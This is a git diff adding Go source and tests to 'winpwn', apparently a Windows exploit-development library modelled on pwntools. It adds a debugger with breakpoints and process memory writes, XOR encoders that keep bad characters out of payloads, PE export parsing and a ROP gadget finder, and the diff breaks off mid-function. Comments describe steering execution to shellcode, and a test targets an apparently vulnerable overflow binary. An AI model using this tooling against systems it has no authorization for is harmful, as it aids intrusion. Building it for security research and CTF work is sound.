+ + go func() { + runtime.LockOSThread() + + r, _, err := procDebugActiveProcess.Call(uintptr(pid)) + if r == 0 { + resultCh <- attachResult{err: fmt.Errorf("DebugActiveProcess(%d): %w", pid, err)} + runtime.UnlockOSThread() + return + } + // Don't take the debuggee down with us if this process exits/crashes + // without a clean Detach -- the default on modern Windows is to kill + // it, which is surprising for "attach to something already running". + procDebugSetProcessKillOnExit.Call(0) + + proc, oerr := windows.OpenProcess( + windows.PROCESS_QUERY_INFORMATION|windows.PROCESS_VM_READ|windows.PROCESS_VM_WRITE|windows.PROCESS_VM_OPERATION, + false, pid) + if oerr != nil { + procDebugActiveProcessStop.Call(uintptr(pid)) + resultCh <- attachResult{err: fmt.Errorf("OpenProcess(%d): %w", pid, oerr)} + runtime.UnlockOSThread() + return + } + + d := &Debugger{ + PID: pid, + process: proc, + breakpoints: make(map[uintptr]byte), + events: make(chan DebugEvent), + resume: make(chan continueRequest), + closed: make(chan struct{}), + } + resultCh <- attachResult{d: d} + + d.eventLoop() + runtime.UnlockOSThread() + }() + + r := <-resultCh + return r.d, r.err +} + +// eventLoop runs for the lifetime of the debug session, on the single OS +// thread Attach locked for it. It decodes each raw event, hands it to +// Events(), blocks until the caller's Continue(ev) arrives on d.resume, then +// (for a software breakpoint the caller set) transparently steps past the +// patched INT3 before actually resuming -- see stepPastBreakpoint. +func (d *Debugger) eventLoop() { + defer close(d.events) + defer windows.CloseHandle(d.process) + + for { + var raw rawDebugEvent + r, _, _ := procWaitForDebugEvent.Call(uintptr(unsafe.Pointer(&raw)), uintptr(windows.INFINITE)) + if r == 0 { + return + } + + ev := d.decodeEvent(&raw) + + select { + case d.events <- ev: + case <-d.closed: + return + } + + var req continueRequest + select { + case req = <-d.resume: + case <-d.closed: + return + } + + if ev.Kind == EventBreakpoint { + d.bpMu.Lock() + orig, known := d.breakpoints[ev.Addr] + d.bpMu.Unlock() + if known { + if err := d.stepPastBreakpoint(ev.ThreadID, ev.Addr, orig); err != nil { + Warn("debugger: stepping past breakpoint at 0x%x: %v", ev.Addr, err) + } + } + } + + procContinueDebugEvent.Call(uintptr(d.PID), uintptr(ev.ThreadID), uintptr(req.status)) + + if ev.Kind == EventExitProcess { + return + } + } +} + +// stepPastBreakpoint restores the original byte, rewinds Rip back over the +// INT3 (the CPU already advanced it past the 1-byte instruction by the time +// the exception is delivered -- this is the standard, easy-to-forget +// software-breakpoint bookkeeping step), single-steps exactly one +// instruction via the trap flag, then re-arms the 0xCC so the breakpoint +// persists for the next hit. The single-step it generates is consumed here +// directly (a second WaitForDebugEvent/ContinueDebugEvent round trip on this +// same locked thread) and never reaches the public Events() channel -- the +// caller asked to Continue, not to Step, so this is an implementation detail +// of "resume past a breakpoint", not an event of its own. +func (d *Debugger) stepPastBreakpoint(tid uint32, addr uintptr, orig byte) error { + if err := d.WriteMemory(addr, []byte{orig}); err != nil { + return fmt.Errorf("restore original byte: %w", err) + } + + th, err := windows.OpenThread(threadAccessForDebug, false, tid) + if err != nil { + return fmt.Errorf("OpenThread(%d): %w", tid, err) + } + defer windows.CloseHandle(th) + + ctx := &contextX64{} + if err := getThreadContext(th, ctx); err != nil { + return err + } + ctx.EFlags |= eflagsTrapFlag + if err := setThreadContext(th, ctx); err != nil { + return err + } + + procContinueDebugEvent.Call(uintptr(d.PID), uintptr(tid), uintptr(dbgContinue)) + + for { + var raw rawDebugEvent + r, _, _ := procWaitForDebugEvent.Call(uintptr(unsafe.Pointer(&raw)), uintptr(windows.INFINITE)) + if r == 0 { + return fmt.Errorf("WaitForDebugEvent failed while stepping past breakpoint at 0x%x", addr) + } + if raw.Code == debugExceptionEvent && raw.ThreadID == tid { + info := (*exceptionDebugInfo)(unsafe.Pointer(&raw.U[0])) + if info.Record.Code == exceptionSingleStep { + break + } + } + // Something else fired on another thread mid-step (a second thread + // hitting its own breakpoint, say) -- let it run, we only care about + // regaining control of tid. + procContinueDebugEvent.Call(uintptr(d.PID), uintptr(raw.ThreadID), uintptr(dbgExceptionNotHandled)) + } + + return d.WriteMemory(addr, []byte{0xCC}) +} + +func (d *Debugger) decodeEvent(raw *rawDebugEvent) DebugEvent { + ev := DebugEvent{ThreadID: raw.ThreadID, status: dbgContinue} + + switch raw.Code { + case debugExceptionEvent: + info := (*exceptionDebugInfo)(unsafe.Pointer(&raw.U[0])) + ev.Code = info.Record.Code + ev.Addr = uintptr(info.Record.Address) + ev.FirstChance = info.FirstChance != 0 + + d.bpMu.Lock() + _, isOurs := d.breakpoints[ev.Addr] + d.bpMu.Unlock() + + switch { + case info.Record.Code == exceptionBreakpoint && isOurs: + ev.Kind = EventBreakpoint + // Make the paused thread's own Rip already read as the + // breakpoint address (not address+1, where the CPU left it + // after executing the INT3) so a caller's GetContext during + // this event sees what a human would expect at a breakpoint -- + // the same fixup every real debugger applies before showing you + // anything. + if th, err := windows.OpenThread(threadAccessForDebug, false, raw.ThreadID); err == nil { + ctx := &contextX64{} + if getThreadContext(th, ctx) == nil { + ctx.Rip-- + setThreadContext(th, ctx) + } + windows.CloseHandle(th) + } + case info.Record.Code == exceptionBreakpoint: + // Not one of ours -- almost always the loader breakpoint ntdll + // raises once initialization finishes (the same stop every + // WinDbg/x64dbg session opens on), occasionally a genuine int3 + // already in the target. Reported as a plain exception since + // there's no INT3 *we* patched in to account for. + ev.Kind = EventException + case info.Record.Code == exceptionSingleStep: + ev.Kind = EventSingleStep + default: + ev.Kind = EventException + // Most callers want to inspect and decide for themselves, but + // the safe default if they just Continue() without handling it + // is to let the OS's normal second-chance/crash path run + // instead of looping the same fault back into the debuggee + // forever -- true whether it's first-chance or not. + ev.status = dbgExceptionNotHandled + } + + case debugCreateProcessEvent: + info := (*createProcessDebugInfo)(unsafe.Pointer(&raw.U[0])) + ev.Kind = EventCreateProcess + ev.Addr = uintptr(info.LpBaseOfImage) + + case debugCreateThreadEvent: + ev.Kind = EventCreateThread + + case debugExitThreadEvent: + info := (*exitDebugInfo)(unsafe.Pointer(&raw.U[0])) + ev.Kind = EventExitThread + ev.ExitCode = info.ExitCode + + case debugExitProcessEvent: + info := (*exitDebugInfo)(unsafe.Pointer(&raw.U[0])) + ev.Kind = EventExitProcess + ev.ExitCode = info.ExitCode + + case debugLoadDllEvent: + info := (*loadDllDebugInfo)(unsafe.Pointer(&raw.U[0])) + ev.Kind = EventLoadDll + ev.Addr = uintptr(info.LpBaseOfDll) + ev.Message = d.readDllPath(info.ImageName, info.Unicode != 0) + + case debugUnloadDllEvent: + info := (*struct{ LpBaseOfDll uint64 })(unsafe.Pointer(&raw.U[0])) + ev.Kind = EventUnloadDll + ev.Addr = uintptr(info.LpBaseOfDll) + + case debugOutputStringEvent: + info := (*outputDebugStringInfo)(unsafe.Pointer(&raw.U[0])) + ev.Kind = EventOutputDebugString + ev.Message = d.readDebugString(info) + + default: + ev.Kind = EventUnknown + } + + return ev +} + +// readDllPath best-effort reads the LOAD_DLL_DEBUG_INFO.lpImageName pointer. +// It's deliberately tolerant of failure: lpImageName is documented as +// sometimes null or pointing at a pointer-to-a-pointer depending on the +// loader's mood, so a miss here just means an empty Message, not an error +// that would derail the whole event. +func (d *Debugger) readDllPath(addr uint64, unicode bool) string { + if addr == 0 { + return "" + } + var ptrBuf [8]byte + if _, err := d.ReadMemory(uintptr(addr), ptrBuf[:]); err != nil { + return "" + } + strAddr := *(*uint64)(unsafe.Pointer(&ptrBuf[0])) + if strAddr == 0 { + return "" + } + buf := make([]byte, 512) + n, _ := d.ReadMemory(uintptr(strAddr), buf) + buf = buf[:n] + if unicode { + u16 := make([]uint16, len(buf)/2) + for i := range u16 { + u16[i] = uint16(buf[2*i]) | uint16(buf[2*i+1])<<8 + } + return windows.UTF16ToString(u16) + } + if idx := indexByte(buf, 0); idx >= 0 { + buf = buf[:idx] + } + return string(buf) +} + +func (d *Debugger) readDebugString(info *outputDebugStringInfo) string { + if info.LpDebugStringData == 0 || info.Length == 0 { + return "" + } + buf := make([]byte, info.Length) + n, err := d.ReadMemory(uintptr(info.LpDebugStringData), buf) + if err != nil { + return "" + } + buf = buf[:n] + if info.Unicode != 0 { + u16 := make([]uint16, len(buf)/2) + for i := range u16 { + u16[i] = uint16(buf[2*i]) | uint16(buf[2*i+1])<<8 + } + return windows.UTF16ToString(u16) + } + if idx := indexByte(buf, 0); idx >= 0 { + buf = buf[:idx] + } + return string(buf) +} + +func indexByte(b []byte, c byte) int { + for i, v := range b { + if v == c { + return i + } + } + return -1 +} + +// Events returns the channel of decoded debug events. Closed when the +// debuggee exits or Close/Detach is called -- range over it the same way +// you'd loop on pwntools' gdb continuing past each stop. +func (d *Debugger) Events() <-chan DebugEvent { + return d.events +} + +// Continue resumes the debuggee past ev, the consumer-side counterpart of a +// value received from Events(). It picks DBG_CONTINUE vs +// DBG_EXCEPTION_NOT_HANDLED automatically (see DebugEvent.status's doc +// comment) and, if ev was a hit on a breakpoint this Debugger set, performs +// the restore-byte/rewind-Rip/single-step/re-arm dance transparently first. +func (d *Debugger) Continue(ev DebugEvent) error { + select { + case d.resume <- continueRequest{threadID: ev.ThreadID, status: ev.status}: + return nil + case <-d.closed: + return fmt.Errorf("debugger: session closed") + } +} + +// Step single-steps thread tid by setting the trap flag and resuming for +// exactly one instruction; the resulting EventSingleStep is delivered +// through the normal Events() channel like any other event. +// +// Documented gap, not a bug: calling Step in response to an EventBreakpoint +// behaves like Continue, not like a single step, because resuming past a +// software breakpoint already requires its own internal single-step (see +// stepPastBreakpoint) before real execution can continue -- there's no way +// to stop *exactly* at "one instruction past a breakpoint" without that +// step happening anyway. If you need single-step granularity starting from +// a breakpoint, Continue past it once, then Step from wherever you land. +func (d *Debugger) Step(tid uint32) error { + th, err := windows.OpenThread(threadAccessForDebug, false, tid) + if err != nil { + return fmt.Errorf("OpenThread(%d): %w", tid, err) + } + defer windows.CloseHandle(th) + + ctx := &contextX64{} + if err := getThreadContext(th, ctx); err != nil { + return err + } + ctx.EFlags |= eflagsTrapFlag + if err := setThreadContext(th, ctx); err != nil { + return err + } + + select { + case d.resume <- continueRequest{threadID: tid, status: dbgContinue}: + return nil + case <-d.closed: + return fmt.Errorf("debugger: session closed") + } +} + +// SetBreakpoint patches a software breakpoint (INT3) at addr, saving the +// original byte so Continue/RemoveBreakpoint can restore it. addr is an +// absolute virtual address in the debuggee -- typically ImageBase + +// some RVA resolved from the target's own PEFile. +func (d *Debugger) SetBreakpoint(addr uintptr) error { + var orig [1]byte + if _, err := d.ReadMemory(addr, orig[:]); err != nil { + return fmt.Errorf("read original byte at 0x%x: %w", addr, err) + } + if err := d.WriteMemory(addr, []byte{0xCC}); err != nil { + return fmt.Errorf("write breakpoint at 0x%x: %w", addr, err) + } + d.bpMu.Lock() + d.breakpoints[addr] = orig[0] + d.bpMu.Unlock() + return nil +} + +// RemoveBreakpoint restores the original byte at addr. Safe to call on an +// address that isn't currently the thread's Rip -- only Continue's +// breakpoint-resume path needs the single-step dance; removing one that +// isn't being actively resumed through is a plain memory write. +func (d *Debugger) RemoveBreakpoint(addr uintptr) error { + d.bpMu.Lock() + orig, ok := d.breakpoints[addr] + if ok { + delete(d.breakpoints, addr) + } + d.bpMu.Unlock() + if !ok { + return fmt.Errorf("no breakpoint set at 0x%x", addr) + } + return d.WriteMemory(addr, []byte{orig}) +} + +// GetContext reads tid's general-purpose registers + Rip/EFlags. +func (d *Debugger) GetContext(tid uint32) (Registers, error) { + th, err := windows.OpenThread(threadAccessForDebug, false, tid) + if err != nil { + return Registers{}, fmt.Errorf("OpenThread(%d): %w", tid, err) + } + defer windows.CloseHandle(th) + + ctx := &contextX64{} + if err := getThreadContext(th, ctx); err != nil { + return Registers{}, err + } + return registersFromContext(ctx), nil +} + +// SetContext writes tid's general-purpose registers + Rip/EFlags, e.g. to +// redirect execution (set Rip to a ROP gadget / shellcode address) once you +// have IP control and want to drive it from the debugger rather than +// letting a corrupted return address do it. +func (d *Debugger) SetContext(tid uint32, regs Registers) error { + th, err := windows.OpenThread(threadAccessForDebug, false, tid) + if err != nil { + return fmt.Errorf("OpenThread(%d): %w", tid, err) + } + defer windows.CloseHandle(th) + + ctx := &contextX64{} + if err := getThreadContext(th, ctx); err != nil { + return err + } + applyRegistersToContext(regs, ctx) + return setThreadContext(th, ctx) +} + +// ReadMemory/WriteMemory read and write the debuggee's address space +// directly, the same ReadProcessMemory/WriteProcessMemory primitive +// ProcessMemory wraps in procmem_windows.go -- duplicated here rather than +// embedding a *ProcessMemory because Debugger already owns the process +// handle's lifetime (closed by eventLoop on exit) and WriteMemory needs the +// extra FlushInstructionCache call SetBreakpoint relies on, which a plain +// WriterAt has no hook for. +func (d *Debugger) ReadMemory(addr uintptr, buf []byte) (int, error) { + if len(buf) == 0 { + return 0, nil + } + var n uintptr + err := windows.ReadProcessMemory(d.process, addr, &buf[0], uintptr(len(buf)), &n) + return int(n), err +} + +func (d *Debugger) WriteMemory(addr uintptr, data []byte) error { + if len(data) == 0 { + return nil + } + var n uintptr + if err := windows.WriteProcessMemory(d.process, addr, &data[0], uintptr(len(data)), &n); err != nil { + return err + } + // Required for code patches per Microsoft's own documentation for + // WriteProcessMemory: "the function does not flush the instruction + // cache... If you need that, call FlushInstructionCache". x86/x64 has a + // coherent icache in practice, but WOW64/exotic configurations are + // exactly the case that documentation note exists for -- cheap to call + // unconditionally rather than rediscover the one config where it matters. + procFlushInstructionCache.Call(uintptr(d.process), addr, uintptr(len(data))) + return nil +} + +// Close detaches the debugger (DebugActiveProcessStop) without killing the +// debuggee -- idempotent via sync.Once, matching Tube.Close/pipeConn.Close +// elsewhere in this package. +func (d *Debugger) Close() error { + d.closeOnce.Do(func() { + close(d.closed) + r, _, err := procDebugActiveProcessStop.Call(uintptr(d.PID)) + if r == 0 { + d.closeErr = fmt.Errorf("DebugActiveProcessStop(%d): %w", d.PID, err) + } + }) + return d.closeErr +} diff --git a/debugger_windows_test.go b/debugger_windows_test.go new file mode 100644 index 0000000..0f8c226 --- /dev/null +++ b/debugger_windows_test.go @@ -0,0 +1,108 @@ +//go:build windows + +package winpwn + +import ( + "testing" + "time" +) + +// TestDebuggerBreakpointAtEntry composes SpawnSuspended + Attach + +// ResumeMainThread (the pattern documented on Debugger) to break at the +// real entry point of the checked-in fixture binary, confirming against a +// live process that: the loader/CreateProcess/LoadDll/CreateThread events +// decode without error, ResolveModuleBase eventually succeeds once the +// loader has run, SetBreakpoint+the breakpoint-hit path leaves the +// thread's Rip exactly equal to the breakpoint address (the INT3 +// rewind-by-one fixup), and Continue can step back past a still-armed +// breakpoint without hanging. +// +// This exercises the exact sequence validated manually against a live +// process while building debugger_windows.go (see ROADMAP.md's Phase 4 +// notes) -- a hermetic version of that same proof, run by `go test`. +func TestDebuggerBreakpointAtEntry(t *testing.T) { + requireFixturePE(t) + + diskPE, err := OpenPE(testFixturePE) + if err != nil { + t.Fatal(err) + } + diskBase, err := diskPE.ImageBase() + if err != nil { + diskPE.Close() + t.Fatal(err) + } + diskEntry, err := diskPE.EntryPoint() + if err != nil { + diskPE.Close() + t.Fatal(err) + } + diskPE.Close() + entryRVA := diskEntry - diskBase + + tube, pid, err := SpawnSuspended(testFixturePE) + if err != nil { + t.Fatalf("SpawnSuspended: %v", err) + } + defer tube.Close() + + dbg, err := Attach(pid) + if err != nil { + t.Fatalf("Attach: %v", err) + } + defer dbg.Close() + + if err := ResumeMainThread(pid); err != nil { + t.Fatalf("ResumeMainThread: %v", err) + } + + var bpAddr uintptr + var entrySet, hit bool + + deadline := time.After(10 * time.Second) + for !hit { + select { + case ev, ok := <-dbg.Events(): + if !ok { + t.Fatal("debugger event channel closed before hitting the entry breakpoint") + } + + if !entrySet { + if base, rerr := ResolveModuleBase(pid, "bof_win.c.exe"); rerr == nil { + bpAddr = uintptr(base) + uintptr(entryRVA) + if err := dbg.SetBreakpoint(bpAddr); err != nil { + t.Fatalf("SetBreakpoint(0x%x): %v", bpAddr, err) + } + entrySet = true + } + // Not yet resolvable (loader hasn't populated PEB.Ldr yet) -- + // expected on the first couple of events, see + // ResolveModuleBase's doc comment in procmem_windows.go. + } + + if ev.Kind == EventBreakpoint { + regs, gerr := dbg.GetContext(ev.ThreadID) + if gerr != nil { + t.Fatalf("GetContext(%d): %v", ev.ThreadID, gerr) + } + if regs.Rip != uint64(ev.Addr) { + t.Errorf("Rip = 0x%x, want 0x%x (breakpoint address, after the INT3 rewind)", regs.Rip, ev.Addr) + } + if ev.Addr != bpAddr { + t.Errorf("breakpoint fired at 0x%x, want entry point 0x%x", ev.Addr, bpAddr) + } + hit = true + } + + // Continue every event, including the still-armed breakpoint -- + // proves Continue's internal restore/rewind/single-step/re-arm + // dance (stepPastBreakpoint) completes without hanging. + if err := dbg.Continue(ev); err != nil { + t.Fatalf("Continue: %v", err) + } + + case <-deadline: + t.Fatal("timed out waiting for the entry breakpoint to fire") + } + } +} diff --git a/encoders.go b/encoders.go new file mode 100644 index 0000000..a72612c --- /dev/null +++ b/encoders.go @@ -0,0 +1,59 @@ +package winpwn + +import ( + "bytes" + "fmt" +) + +// FindXORKey finds a single byte k such that XORing data with the +// repeating key k produces no byte present in badChars -- the search step +// behind pwntools' encoders.xor, scoped to a single-byte key (the common +// case: avoiding \x00/\x0a/\x0d in a payload that itself gets typed/parsed +// as text before reaching the target). Returns an error if no byte in +// 0..255 works, which can happen if badChars is large enough that every +// possible key XORs at least one data byte into a forbidden value. +func FindXORKey(data []byte, badChars []byte) (byte, error) { + var bad [256]bool + for _, b := range badChars { + bad[b] = true + } + +candidate: + for k := 0; k < 256; k++ { + key := byte(k) + if bad[key] { + continue // the key itself ends up nowhere in the output, but + // disallowing it too keeps the result usable as a literal + // byte elsewhere in the same payload (e.g. a decoder stub + // that embeds the key as an immediate). + } + for _, b := range data { + if bad[b^key] { + continue candidate + } + } + return key, nil + } + return 0, fmt.Errorf("no single-byte XOR key avoids all %d bad chars for this %d-byte input", len(badChars), len(data)) +} + +// EncodeXOR finds a single-byte XOR key avoiding badChars (via FindXORKey) +// and returns data encoded with it, plus the key itself. Decode by XORing +// again with the same key (see Xor in fiddling.go) -- this is the +// data-level half of pwntools' bad-character avoidance; it does not emit a +// self-decoding stub, so the receiving side needs to already know how to +// undo it (e.g. the target's own code does the XOR, or your script decodes +// a leaked buffer before parsing it). +func EncodeXOR(data []byte, badChars []byte) (encoded []byte, key byte, err error) { + key, err = FindXORKey(data, badChars) + if err != nil { + return nil, 0, err + } + return Xor(data, []byte{key}), key, nil +} + +// HasBadChars reports whether data contains any byte in badChars -- the +// quick check before bothering with an encoder at all. +func HasBadChars(data []byte, badChars []byte) bool { + return bytes.ContainsAny(data, string(badChars)) +} diff --git a/encoders_test.go b/encoders_test.go new file mode 100644 index 0000000..1eec0db --- /dev/null +++ b/encoders_test.go @@ -0,0 +1,56 @@ +package winpwn + +import ( + "bytes" + "testing" +) + +func TestFindXORKeyAvoidsBadChars(t *testing.T) { + data := []byte{0x00, 0x0A, 0x0D, 0x41, 0x42} + badChars := []byte{0x00, 0x0A, 0x0D} + + key, err := FindXORKey(data, badChars) + if err != nil { + t.Fatal(err) + } + + encoded := Xor(data, []byte{key}) + if HasBadChars(encoded, badChars) { + t.Errorf("encoded output %x still contains a bad char (key=0x%02x)", encoded, key) + } +} + +func TestEncodeXORRoundTrip(t *testing.T) { + data := []byte("the quick brown fox") + badChars := []byte{0x00, 0x0A, 0x0D, 0x20} // also avoid spaces, for fun + + encoded, key, err := EncodeXOR(data, badChars) + if err != nil { + t.Fatal(err) + } + if HasBadChars(encoded, badChars) { + t.Errorf("encoded output still has bad chars") + } + + decoded := Xor(encoded, []byte{key}) + if !bytes.Equal(decoded, data) { + t.Errorf("decoded = %q, want %q", decoded, data) + } +} + +func TestFindXORKeyImpossible(t *testing.T) { + // Every byte 0..255 appears in data, so no key can avoid every byte + // being a bad char if badChars also covers every value the key could + // produce -- construct a case that's provably impossible: data + // contains every byte value, and badChars also contains every byte + // value, so any key XORed against some data byte lands on a bad byte. + data := make([]byte, 256) + for i := range data { + data[i] = byte(i) + } + badChars := data // all 256 values are "bad" + + if _, err := FindXORKey(data, badChars); err == nil { + t.Error("expected an error when every byte value is both present and forbidden") + } +} diff --git a/exports.go b/exports.go new file mode 100644 index 0000000..f9e3526 --- /dev/null +++ b/exports.go @@ -0,0 +1,145 @@ +package winpwn + +import ( + "errors" + "strings" +) + +// Export describes one entry of a PE's export table (EAT), the analogue of +// pwntools' libc.symbols[...] entries. +type Export struct { + // Name is empty when the function is exported by ordinal only. + Name string + Ordinal uint16 + // RVA is the function's address. It is zero when ForwardTarget is set: + // the export doesn't point at code in this module at all, it forwards + // to a function in another DLL. + RVA uint32 + // ForwardTarget is "DLLNAME.FuncName" when this export is a forwarder + // (e.g. api-ms-win-core-*.dll entries that forward into kernelbase.dll). + // Use ParseForwardTarget to split it. + ForwardTarget string +} + +// ParseForwardTarget splits a forwarder string ("KERNELBASE.CreateFileW") +// into the target DLL and function name. +func ParseForwardTarget(forward string) (dll string, fn string) { + idx := strings.LastIndex(forward, ".") + if idx == -1 { + return "", forward + } + return forward[:idx], forward[idx+1:] +} + +// exportDirectory mirrors winnt.h's IMAGE_EXPORT_DIRECTORY. +type exportDirectory struct { + Characteristics uint32 + TimeDateStamp uint32 + MajorVersion uint16 + MinorVersion uint16 + Name uint32 + Base uint32 + NumberOfFunctions uint32 + NumberOfNames uint32 + AddressOfFunctions uint32 + AddressOfNames uint32 + AddressOfNameOrdinals uint32 +} + +// ListExports walks the full Export Address Table, the analogue of +// pwntools' libc.symbols when you need every entry rather than a single +// lookup. Functions exported by ordinal only (no name) come back with +// Name == "". Works against a live-process-backed PEFile exactly as well +// as a disk-backed one (see RVAToFileOffset). +func (p *PEFile) ListExports() ([]Export, error) { + h, err := p.header() + if err != nil { + return nil, err + } + + dir := h.dataDirectory[0] + if dir.VirtualAddress == 0 { + return nil, errors.New("export table not found") + } + exportOffset := p.RVAToFileOffset(dir.VirtualAddress) + if exportOffset == 0 { + return nil, errors.New("failed to map export directory RVA to file offset") + } + + var expDir exportDirectory + if err := p.readStructAt(exportOffset, &expDir); err != nil { + return nil, err + } + + funcsOffset := p.RVAToFileOffset(expDir.AddressOfFunctions) + namesOffset := p.RVAToFileOffset(expDir.AddressOfNames) + ordinalsOffset := p.RVAToFileOffset(expDir.AddressOfNameOrdinals) + + // Build ordinal-index -> name from the name table before walking + // AddressOfFunctions, since not every function slot has a name. + nameByOrdinalIndex := make(map[uint16]string, expDir.NumberOfNames) + for i := uint32(0); i < expDir.NumberOfNames; i++ { + var nameRVA uint32 + if err := p.readStructAt(namesOffset+int64(i*4), &nameRVA); err != nil { + return nil, err + } + name, err := p.readCString(p.RVAToFileOffset(nameRVA)) + if err != nil { + return nil, err + } + + var ordinalIndex uint16 + if err := p.readStructAt(ordinalsOffset+int64(i*2), &ordinalIndex); err != nil { + return nil, err + } + nameByOrdinalIndex[ordinalIndex] = name + } + + // A forwarder's "RVA" doesn't point at code: it points back inside the + // export directory itself, at an ASCII "DLL.Func" string. + forwarderLo := dir.VirtualAddress + forwarderHi := dir.VirtualAddress + dir.Size + + exports := make([]Export, 0, expDir.NumberOfFunctions) + for i := uint32(0); i < expDir.NumberOfFunctions; i++ { + var rva uint32 + if err := p.readStructAt(funcsOffset+int64(i*4), &rva); err != nil { + return nil, err + } + if rva == 0 { + continue // unused ordinal slot + } + + e := Export{ + Name: nameByOrdinalIndex[uint16(i)], + Ordinal: uint16(expDir.Base + i), + } + if rva >= forwarderLo && rva < forwarderHi { + fwd, err := p.readCString(p.RVAToFileOffset(rva)) + if err != nil { + return nil, err + } + e.ForwardTarget = fwd + } else { + e.RVA = rva + } + exports = append(exports, e) + } + + return exports, nil +} + +// GetExport looks up a single export by name and reports whether it +// forwards to another DLL, unlike GetProcAddress which returns a bare RVA. +func (p *PEFile) GetExport(name string) (*Export, error) { + exports, err := p.ListExports() + if err != nil { + return nil, err + } + for i := range exports { + if exports[i].Name == name { + return &exports[i], nil + } + } + return nil, errors.New("function not found in export table: " + name) +} diff --git a/fiddling.go b/fiddling.go new file mode 100644 index 0000000..4949cbc --- /dev/null +++ b/fiddling.go @@ -0,0 +1,70 @@ +package winpwn + +import ( + "encoding/hex" + "fmt" + "strings" +) + +// Enhex hex-encodes data as a lowercase string, the analogue of pwntools' +// enhex (binascii.hexlify). +func Enhex(data []byte) string { + return hex.EncodeToString(data) +} + +// Unhex decodes a hex string back into bytes, the analogue of pwntools' +// unhex. +func Unhex(s string) ([]byte, error) { + return hex.DecodeString(s) +} + +// Xor XORs data against key, cycling key if it's shorter than data -- +// the analogue of pwntools' xor(data, key). +func Xor(data, key []byte) []byte { + if len(key) == 0 { + out := make([]byte, len(data)) + copy(out, data) + return out + } + out := make([]byte, len(data)) + for i, b := range data { + out[i] = b ^ key[i%len(key)] + } + return out +} + +// Hexdump renders data as a classic 16-bytes-per-line hex+ASCII dump +// (offset, hex bytes, printable-ASCII gutter with '.' for non-printable), +// the analogue of pwntools' hexdump(data). +func Hexdump(data []byte) string { + var sb strings.Builder + for off := 0; off < len(data); off += 16 { + end := off + 16 + if end > len(data) { + end = len(data) + } + line := data[off:end] + + fmt.Fprintf(&sb, "%08x ", off) + for i := 0; i < 16; i++ { + if i == 8 { + sb.WriteByte(' ') + } + if i < len(line) { + fmt.Fprintf(&sb, "%02x ", line[i]) + } else { + sb.WriteString(" ") + } + } + sb.WriteString(" ") + for _, b := range line { + if b >= 0x20 && b < 0x7f { + sb.WriteByte(b) + } else { + sb.WriteByte('.') + } + } + sb.WriteByte('\n') + } + return sb.String() +} diff --git a/fiddling_test.go b/fiddling_test.go new file mode 100644 index 0000000..6b8d90e --- /dev/null +++ b/fiddling_test.go @@ -0,0 +1,55 @@ +package winpwn + +import ( + "bytes" + "testing" +) + +func TestEnhexUnhexRoundTrip(t *testing.T) { + data := []byte("Hello, world!") + h := Enhex(data) + if h != "48656c6c6f2c20776f726c6421" { + t.Errorf("Enhex = %q", h) + } + back, err := Unhex(h) + if err != nil { + t.Fatal(err) + } + if !bytes.Equal(back, data) { + t.Errorf("Unhex(Enhex(x)) = %q, want %q", back, data) + } +} + +func TestUnhexInvalid(t *testing.T) { + if _, err := Unhex("zz"); err == nil { + t.Error("expected error for invalid hex string") + } +} + +func TestXorRoundTrip(t *testing.T) { + data := []byte("attack at dawn") + key := []byte{0x42} + if got := Xor(Xor(data, key), key); !bytes.Equal(got, data) { + t.Errorf("Xor(Xor(x,k),k) = %q, want %q", got, data) + } +} + +func TestXorCyclesKey(t *testing.T) { + data := []byte{1, 2, 3, 4} + key := []byte{0xff, 0xff} + got := Xor(data, key) + want := []byte{0xfe, 0xfd, 0xfc, 0xfb} + if !bytes.Equal(got, want) { + t.Errorf("Xor = %v, want %v", got, want) + } +} + +func TestHexdumpFormat(t *testing.T) { + out := Hexdump([]byte("Hello, world!")) + if !bytes.Contains([]byte(out), []byte("48 65 6c 6c 6f")) { + t.Errorf("Hexdump missing expected hex bytes: %q", out) + } + if !bytes.Contains([]byte(out), []byte("Hello, world!")) { + t.Errorf("Hexdump missing ASCII gutter: %q", out) + } +} diff --git a/gadgets.go b/gadgets.go new file mode 100644 index 0000000..b883054 --- /dev/null +++ b/gadgets.go @@ -0,0 +1,182 @@ +package winpwn + +import ( + "debug/pe" + "fmt" + "os" + "regexp" + "sort" + "strings" + + "golang.org/x/arch/x86/x86asm" +) + +// Gadget describes a found ROP gadget. +type Gadget struct { + Address uint64 + Instructions string +} + +// ROP finds ROP gadgets in a binary, the winpwn analogue of pwntools' ROP. +// NewROP shells out to rp-win.exe (a Windows build of rp++) — a real, +// battle-tested gadget finder instead of a hand-rolled scanner. Disassemble +// still works natively (via golang.org/x/arch/x86/x86asm) for verifying a +// chain in-script. +type ROP struct { + binaryPath string + toolPath string + gadgets []Gadget + pe *PEFile // held open for Disassemble() and arch detection + mode int // x86asm.Mode equivalent (32/64) +} + +// defaultRPWinTool is where rp-win.exe lives on this machine. Override with +// the RP_WIN_EXE environment variable if it's installed somewhere else. +const defaultRPWinTool = `C:\tools\rp-win\rp-win.exe` + +// NewROP scans binaryPath for ROP/JOP gadgets using rp-win.exe, resolved +// from the RP_WIN_EXE environment variable or defaultRPWinTool. Use +// NewROPExternal to point at a specific tool binary instead (a different +// rp++ build, or a copy kept somewhere else). +func NewROP(binaryPath string) (*ROP, error) { + toolPath := os.Getenv("RP_WIN_EXE") + if toolPath == "" { + toolPath = defaultRPWinTool + } + if _, err := os.Stat(toolPath); err != nil { + return nil, fmt.Errorf("can't find rp-win.exe at %q (%w) -- set RP_WIN_EXE to override, or use NewROPExternal(path, toolPath)", toolPath, err) + } + return newROP(binaryPath, toolPath) +} + +func newROP(binaryPath, toolPath string) (*ROP, error) { + peFile, err := OpenPE(binaryPath) + if err != nil { + return nil, err + } + + mode, err := archMode(peFile) + if err != nil { + peFile.Close() + return nil, err + } + + r := &ROP{binaryPath: binaryPath, toolPath: toolPath, pe: peFile, mode: mode} + if err := r.findGadgetsExternal(); err != nil { + peFile.Close() + return nil, err + } + return r, nil +} + +// Close releases the PE handle held for Disassemble/arch detection. +func (r *ROP) Close() { + if r.pe != nil { + r.pe.Close() + } +} + +func archMode(p *PEFile) (int, error) { + switch p.File.Machine { + case pe.IMAGE_FILE_MACHINE_AMD64: + return 64, nil + case pe.IMAGE_FILE_MACHINE_I386: + return 32, nil + default: + return 0, fmt.Errorf("unsupported machine type for gadget scanning: 0x%X", p.File.Machine) + } +} + +// Disassemble decodes up to count instructions starting at the absolute +// address addr, the verification step pwntools leaves to objdump/Capstone: +// "did the gadget chain I built actually decode the way I think it did". +func (r *ROP) Disassemble(addr uint64, count int) ([]string, error) { + imageBase, err := r.pe.ImageBase() + if err 